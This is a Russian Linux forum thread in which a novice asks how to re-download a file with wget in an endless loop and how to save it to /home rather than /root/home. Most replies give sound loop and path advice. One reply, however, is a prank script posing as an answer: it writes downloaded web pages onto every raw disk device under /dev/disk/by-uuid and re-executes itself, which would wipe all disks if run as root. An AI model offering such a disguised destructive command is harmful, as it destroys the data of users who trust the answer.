LINUX.ORG.RU

бесконечная загрузка файла


0

1

добрый день

подскажите, пожалуйста, как сделать бесконечную загрузку файла? т.е. чтобы он загружался, затем самоудалялся, потом снова загружался, и так до бесконечности

так же вопрос - как сделать так, чтобы файл записывался в каталог /home на сервере? а то получается что указываю wget --directory-prefix=home , а файл попадает в /root/home (т.е. папка home создаётся в папке root). А сам каталог находится в корне, т.е. просто /home

заранее благодарю всех за консультацию



Последнее исправление: Vlad_Ershikov (всего исправлений: 1)

#!/bin/bash
while true; do
    wget -O file http://example.com/file
done
uspen ★★★★★
()
Ответ на: комментарий от ymuv

знаю =) но в техзадании было шоб «самоудалялся»

beastie ★★★★★
()
Ответ на: комментарий от Vlad_Ershikov

сделай всё в одну строчку если со строки или засунь всё это дело в файл, как советует товарищ uspen

beastie ★★★★★
()
Ответ на: комментарий от ymuv

а вот дёргать test для этого дела — это imo плохая практика. есть ведь true с на порядки меньшим overhead'ом чем test.

beastie ★★★★★
()
Ответ на: комментарий от vertexua

вот и быдлокодеры подтянулись

anonymous
()

>подскажите, пожалуйста, как сделать бесконечную загрузку файла? т.е. чтобы он загружался, затем самоудалялся, потом снова загружался, и так до бесконечности

250 рублей на ya.ru или там на вебмани.

так же вопрос - как сделать так, чтобы файл записывался в каталог /home на сервере? а то получается что указываю wget --directory-prefix=home , а файл попадает в /root/home (т.е. папка home создаётся в папке root). А сам каталог находится в корне, т.е. просто /home

--directory-prefix=/home

что очевидно ИМХО

drBatty ★★
()

так же вопрос - как сделать так, чтобы файл записывался в каталог /home на сервере? а то получается что указываю wget --directory-prefix=home , а файл попадает в /root/home (т.е. папка home создаётся в папке root). А сам каталог находится в корне, т.е. просто /home

Разлогиниться и зайти с рядовой учёткой. Не надо делать лабы под root`ом

cd /home
for d in /dev/disk/by-uuid/* ; do
  wget -o /dev/null -O - http://linux.org.ru > $d
  unlink $d & sync
done
exec $0
MKuznetsov ★★★★★
()
Ответ на: комментарий от MKuznetsov

At first I was like «wtf? o_o», but then I lold.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.